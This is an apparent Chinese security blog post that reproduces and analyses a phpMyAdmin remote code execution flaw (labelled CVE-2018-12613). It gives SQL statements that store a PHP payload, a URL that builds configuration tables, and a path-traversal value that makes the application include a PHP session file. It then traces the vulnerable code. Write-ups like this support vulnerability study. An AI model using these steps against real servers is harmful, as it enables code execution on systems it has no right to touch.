Loading

PhpMyadmin 4.8.0 Rce 漏洞复现&分析

0x01 漏洞背景

漏洞编号:CVE-2018-12613

漏洞成因:

0x02 漏洞复现

创建数据库表

CREATE DATABASE foo;
CREATE TABLE foo.bar ( baz VARCHAR(100) PRIMARY KEY );
INSERT INTO foo.bar SELECT '<?php phpinfo();?>';

访问该接口生成配置表

http://192.168.52.2/phpMyAdmin-4.8.3/chk_rel.php?fixall_pmadb=1&db=foo

向foo.bar中添加路径,注意其中的sess_xxx后面的xx需要对应为自己的cookie中phpmyadmin的值

INSERT INTO pma__column_info SELECT '1', 'foo', 'bar', 'baz', 'plop', 'plop', 'plop', 'plop','../../../../../../../../var/lib/php/sessions/sess_rud9r0ms694tjr6u8bd3gugvsa','plop'

image-20201130153354659

执行payload

image-20201130193354255

0x03 漏洞分析

根据漏洞相关信息,可以直接从tbl_replace处进行分析

image-20201130202230318

而$filename中的内容则是来源于mime_map的拼接,而mine_map忘上追溯,则是来源于getTime方法

image-20201130202554172

往上追溯getMime方法,跟到libaries/classes

image-20201130203110111

该静态方法通过sql语句查询,而其中刚刚好查询出poc当中的input_transformation字段设置为../../../进行目录穿越

image-20201130203344892

最后经过对mime处理,生成mime_map,返回

image-20201130203744985

在最后通过include_once去包含filename文件中,file最终的值是session文件,也就是说,只要执行了该sql语句,便会存在在session文件中,跟数据库中是否存在该语句无关。如果需要更换语句,建议重新退出,登陆。然后重新执行sql语句(不退出也行就是怕前面的语句出错,导致后面的直接不执行)

image-20201130211338433

0x04 参考

posted @ 2021-02-05 22:28  0x28  阅读(229)  评论(0编辑  收藏  举报